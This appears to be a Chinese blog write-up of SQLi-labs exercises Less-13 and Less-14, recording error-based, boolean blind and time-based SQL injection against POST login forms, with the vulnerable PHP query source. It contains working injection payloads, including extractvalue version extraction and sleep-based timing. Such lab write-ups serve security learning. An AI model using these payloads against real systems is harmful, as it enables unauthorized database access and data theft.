Sqli-labs Less13-14 报错型盲注 - POST

本文记录 SQL 注入的学习过程,资料为 SQLi

SQLi 博客目录

Less - 13: POST - Double Injection - Single Quotes - with twist

  1. 测试漏洞

    username 输入 admin'
    password 输入 任意内容
    

    显示报错信息

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'aaa') LIMIT 0,1' at line 1
    

    看到报错信息 ‘) 我们可以知道程序对 id 进行了 ‘) 的处理。
    我们可以明显的看到本关不会显示你的登录信息了,只能给你一个是否登录成功的返回数据。

  2. 猜测数据库

    post 数据:
    uname=admin')and left(database(),1)='s'#&passwd=aaa&submit=Submit
    
    # 得到第一位 s
    
    uname=admin')and left(database(),2)='se'#&passwd=aaa&submit=Submit
    
    # 得到前两位 se
    

    依次可得数据库名称为 security

Less - 14: POST - Double Injection - Single Quotes - with twist

  1. 测试漏洞

    username 输入 admin"
    password 输入 任意
    

    提示错误信息

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'aaa" LIMIT 0,1' at line 1
    

    可以看到报错了,那么我们知道了id 进行了” 的操作。

    源代码

    $uname='"'.$uname.'"';
    $passwd='"'.$passwd.'"';
    @$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
    
  2. 报错注入猜版本号

    uname=admin"and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&passwd=1&submit=Submit
    

    结果显示 extractvalue() 函数不存在
    教程上说 可以看到报错,显示版本信息

  3. 延时注入猜数据库

    post数据:
    uname=admin"and left(database(),1)='s'#&passwd=1&submit=Submit
    
    或者延时注入:
    
    uname=admin"and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=1&submit=Submit
    
    # 得到第一位 s
    
    uname=admin"and left(database(),2)='se'#&passwd=aaa&submit=Submit
    
    # 得到前两位 se
    

    依次可得数据库名称为 security

你可能感兴趣的:(web安全)